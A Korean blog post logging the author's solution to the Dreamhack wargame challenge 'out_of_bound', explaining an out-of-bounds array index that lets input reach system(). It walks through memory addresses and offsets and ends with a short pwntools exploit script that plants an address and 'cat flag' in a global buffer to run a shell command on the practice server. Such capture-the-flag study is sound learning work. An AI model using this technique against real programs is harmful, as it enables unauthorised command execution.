학습 기록일지
Dreamhack - out_of_bound 본문
드림핵 레벨2 3번째 문제이다
out_of_bound 취약점을 다룰거같다.
OOB(Out Of Boundary) 취약점이란 버퍼의 길이를 벗어나는 인덱스에 접근할 때 발생하는 취약점이다.
checksec 로 보호기법을 검사해보면,
NXbit, Partial RELRO 메모리 보호기법을 제외한 CANARY 가 활성화되어있는걸 확인할 수 있다.
out_of_bound의 소스코드를 해석해보자
7 Line : 전역변수 name을 16크기로 선언
9~13 Line : 포인터변수 command를 10크기로 선언. cat, ls, id, ps, file ./oob를 담고있음
14~27 Line : 기본세팅
29~44 Line (Main) :
- 31 : idx 정수형 변수 선언
- 33 : 기본세팅 함수 실행
- 36 : 최대 16바이트의 문자열 입력
- 39 : &idx의 메모리 주소를 입력
- 41 : system함수로 command[idx] 값을 실행
이번 문제는 get_shell 함수가 존재하지 않는다.name과 idx변수는 초기화되지 않아서 BSS영역에 저장된다(?)
문제흐름
첫번째로 최대 16바이트 크기의 문자열을 입력받고,
두번째로 위 command안에 존재하는 명령어를 실행시킬 수 있다.
첫번째 입력받는 인자를 조작한 후, 두번째 인자와 조합해 flag를 읽는게 목표인듯.
변수의 메모리 주소를 알아보자
name : 0x0804a0ac
command : 0x0804a060
command : cat
command+4 : ls
command+8 : id
command+12 : ps
command+16 : file ./oob
소스코드에서 보았던 문자열들을 확인할 수 있다.
AAAA문자열을 입력받았을때 0x0804a060을 기준으로 오프셋을 구해보면 0x4c(76byte)인걸 알 수 있다.
즉 command[19]번째에 name으로 저장된 문자열을 넣어주면 될거같다. SYSTEM(command[idx])
system("cat flag")를 노려봤지만 이 방법으로 플래그가 먹히질 않는다.
*------------------------ 이 방법이 아닌거같다 ------------------------------*
하루정도 삽질하고 const char * 원리를 이해하라는 댓글을 보고 풀었다... (command의 오프셋 구하는건 맞았음)
system 시스템 함수는 인수로 const char * 가 필요하다.
System의 경우 공유 라라이브러리 함수이기 때문에 외부에서 불러오며, 4바이트는 해당 변수의 주소를 넣고 다음 4바이트에 const char * 인수를 집어넣는다.
따라서 입력받았을때 [배열의주소] + 4 = 문자열 을 넣어주면 되는 간단한 구조였다.
==== 코드 ====
from pwn import *
p = remote("host1.dreamhack.greams",[포트])
shell = b"\xb0\xa0\x04\x08" + b"cat flag"
print(p.recv(1024))
p.send(shell)
shell2 = b"19"
print(p.recv(1024))
p.sendafter("want?:", shell2)
p.interactive()
============
문제를 풀이 못했을 때 "왜 이게 안되지?" 라고 생각하면서 정작 어떻게 원인을 찾는 방법을 아직 잘 몰랐다.
이번에도 system함수의 인수를 받아줄때 예전에 했던 +4바이트에 인자를 넣는걸 기억 못한 문제가 큼
mov eax,DWORD PTR [eax*4+0x804a060]
AAAABBBB를 name 값으로 입력할경우, AAAA가 eax로 들어가고 BBBB를 가리키게 된다.
함수의 인자를 설정해주는 부분을 보고싶다, 혹은 함수의 주소전 상태를 보고싶다면, 보고싶은 함수와 전에 함수 사이를 비교
'워게임 > 포너블' 카테고리의 다른 글
Dreamhack - Sint (0) | 2021.06.17 |
---|---|
Dreamhack - off_bye_one_000 (0) | 2021.06.10 |
Dreamhack - basic_exploition_003 (0) | 2021.06.07 |
Dreamhack - basic_exploitation_001 (0) | 2021.05.26 |
Dreamhack - basic_exploitation_000 (0) | 2021.05.20 |